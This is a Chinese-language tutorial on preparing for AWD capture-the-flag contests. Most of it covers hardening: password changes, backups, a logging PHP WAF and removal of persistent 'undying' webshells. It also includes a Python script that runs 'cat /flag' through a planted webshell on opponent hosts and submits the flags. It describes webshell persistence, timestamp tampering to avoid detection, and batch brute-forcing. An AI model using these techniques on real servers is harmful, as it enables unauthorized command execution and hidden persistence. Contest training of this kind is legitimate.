Attack With Defense

1.修改网站管理员密码
2.修改ssh密码

passwd username
登录ssh后,使用passwd 用户名后修改即可

3.修改数据库密码及备份数据库(以mysql为例)

修改mysql密码

1. 登录 mysql 终端,运行:
mysql> set password=password('new password');
mysql>flush privileges;
2. 修改 mysql user 表
mysql>use mysql;
mysql>update user set password=password('new password') where user='root';
mysql>flush privileges;
3. 使用 GRANT 语句
mysql>GRANT ALL PRIVILEGES ON *.* TO 'root'@'127.0.0.1' IDENTIFIED BY 'new password' WITH GRANT OPTION;
mysql>flush privileges;
4. mysqladmin
[root@ubuntu]# mysqladmin -u root password "new password";(注意双引号或不加)

备份指定的多个数据库

[root@ubuntu]# mysqldump -u root -p --databases databasesname > /tmp/db.sql

数据库恢复

# 命令格式:source FILE_PATH
source ~/db.sql(原数据库需存在)

比赛前一定要快速修改密码和备份,否则密码被别人更改需要重置环境就尴尬了,修改数据库密码后注意修改源码配置文件,避免服务崩溃。同时赛前也可以准备些例如 phpmyadmin 的批量爆破和改密的脚本。

4.源码备份

# 打包目录tar -zcvf archive_name.tar.gz directory_to_compress
#   解包 tar -zxvf archive_name.tar.gz
之后使用 scp 命令或者 winscp,mobaxterm 等工具下载打包后的源码 

5.上waf

备份好源码之后要做的就是监控访问,截取攻击向量,做好流量重放的准备。一般的 WAF 只需要做到记录访问的基本信息如时间,ip,get,post,cookie,UA即可。也可以自行编写通防 WAF,功能如关键字检测,截取上传文件内容等。

可以使用 bash 命令在每一个 php 文件前面加上 require_once 包含 WAF 文件

# 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php";?>

find /var/www/html/ -path /var/www/html/124687a7bc37d57cc9ecd1cbd9d676f7 -prune -o  -type f -name '*.php'|xargs  sed -i '1i<?php require_once "/tmp/waf.php";?>'

上郁师傅WAF

<?php
error_reporting(0); 
define('LOG_FILEDIR','/tmp/loooooooogs');
if(!is_dir(LOG_FILEDIR)){
	mkdir(LOG_FILEDIR);
}
function waf() 
{ 
if (!function_exists('getallheaders')) { 
function getallheaders() { 
foreach ($_SERVER as $name => $value) { 
if (substr($name, 0, 5) == 'HTTP_') 
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
} 
return $headers; 
} 
} 
$get = $_GET; 
$post = $_POST; 
$cookie = $_COOKIE; 
$header = getallheaders(); 
$files = $_FILES; 
$ip = $_SERVER["REMOTE_ADDR"]; 
$method = $_SERVER['REQUEST_METHOD']; 
$filepath = $_SERVER["SCRIPT_NAME"]; 
foreach ($_FILES as $key => $value) { 
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']); 
file_put_contents($_FILES[$key]['tmp_name'], "virink"); 
}
unset($header['Accept']);
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
logging($input);
}
function logging($var){ 
$filename = $_SERVER['REMOTE_ADDR'];
$LOG_FILENAME = LOG_FILEDIR."/".$filename;
$time = date("Y-m-d G:i:s");
file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND); 
file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n***************************************************************",FILE_APPEND);
}
waf(); 
?>

生成的日志是 www-data 权限,一般 ctf 权限是删除不了的。

6.D盾扫描

将源码下载到本地后,使用D盾进行扫描,一般来说,主办方都会在里面内置几个后门

AWD常规操作总结-D-R0s1博客

扫出以后,优先针对后门进行修补和攻击

7.文件监控

关于文件监控,网上有很多的脚本,也可以使用bash命令自行查找出例如十分钟内修改过的php文件,这里推荐一个师傅的文件监控工具。

AWD常规操作总结-D-R0s1博客

使用touch命令修改时间戳可以在一定程度上防范对文件的检测

8.权限维持——不死马

不死马也称内存马,删除掉木马之后,由于操作存于内存当中,还是会不断地生成木马,达到权限维持的目的。

8.1不死马的使用

不死马.php → 上传到server → server执行文件 → server本地无限循环生成 (一句话.php)

8.2不死马的克制

  1. 杀掉不死马运行的进程,直接删除脚本没用,因为php执行的时候已经把脚本读进去解释成opcode运行了,ps aux 查看运行的进程
  2. 如果看到www-data权限运行的进程,直接 kill pid,也可以使用killall apache所有子进程
  3. 重启apche,php等web服务(一般没有权限)
service apache2 restart
service php restart4.

4.用一个脚本竞争写入,脚本同不死吗,usleep要低于对方不死马设置的值
5.创建一个和不死马名字一样的文件夹,测试了要先删除在创建文件夹

8.自动提交

比赛中提交Flag一般会带上队伍的token和falg,格式如下:

flag.php?token=teamtoken&flag=this_is_flag

获取flag一般有两种方式:

1.flag在根目录,直接cat读取flag
2.在对方机器请求指定地址curl

下面这个脚本每两分钟获取一次 flag 并自动提交

#coding:utf-8
import requests
import re
import time
url = "http://ip:"
url1 = ""
shell = "/includes/config.php?d=system"
passwd = "c" 
port = "80"
payload = {passwd: 'cat /flag'}
flag_server = "http://flag_server/flag_file.php?token=%s&flag=%s"
teamtoken = "team1"
def submit_flag(target, teamtoken, flag):
    url = flag_server % (teamtoken, flag)
    pos = {}
    print "[+]Submitting flag:%s:%s" % (target, url)
    response = requests.post(url, data=pos)
    content = response.text
    print "[+]content:%s" % content
    if "success" in content:
        print "[+]Success!!"
        return True
    else:
        print "[-]Failed"
        return False
def flag():
    f=open("webshelllist.txt","w") 
    f1=open("firstround_flag.txt","w")
    for i in [8802,8803,8804]: 
        url1=url+str(i)+shell
        try:
            print "------------------------------------"
            res=requests.post(url1,payload,timeout=1)
            if res.status_code == requests.codes.ok:
                print url1 + " connect shell sucess,flag is "+res.text
                # 记录shell和获取的flag
                print >>f1,url1+" connect shell sucess,flag is "+res.text
                print >>f,url1+","+passwd
                # 正则捕获flag
                if re.match(r'hello world(\w+)', res.text):   
                    flag = re.match(r'hello world(\w+)', res.text).group(1)
                    submit_flag(url1, teamtoken, flag)
                else:
                    print "[-]Can not get flag"
            else:
                print "shell 404"
        except:
            print url1 + "connect shell failed"
    		
    f.close()
    f1.close()
def timer(n):
    while True:
        flag()
        flag()
        flag()
        time.sleep(n)
timer(120)

总结

说了这么多,总结一下。

AWD 攻防赛前需要准备的有:

1. 各种软件包,如 Python、CURL 等等,以备机器上没有而陷入尴尬

2. 一大堆 EXP 库和漏洞库,可以放个乌云的虚拟机备用

3. 加固、基线检查脚本

4. WAF 代码和部署脚本

5. AWD 专用的批量拿 Webshell、批量交 flag、批量维持权限的基本代码或小框架

题目类型有:

1、出题人自己写的cms,附加了一些常见web漏洞。

2、常见或者不常见的cms

3、一些框架漏洞,比如thinkphp这种

漏洞类型:

1、sql注入居多

2、文件包含

3、各种rce

4、文件上传

比赛要提高自己的代码审计能力以及自动化脚本的编写能力,才能去挖出漏洞,写出批量处理脚本,走向赛场巅峰。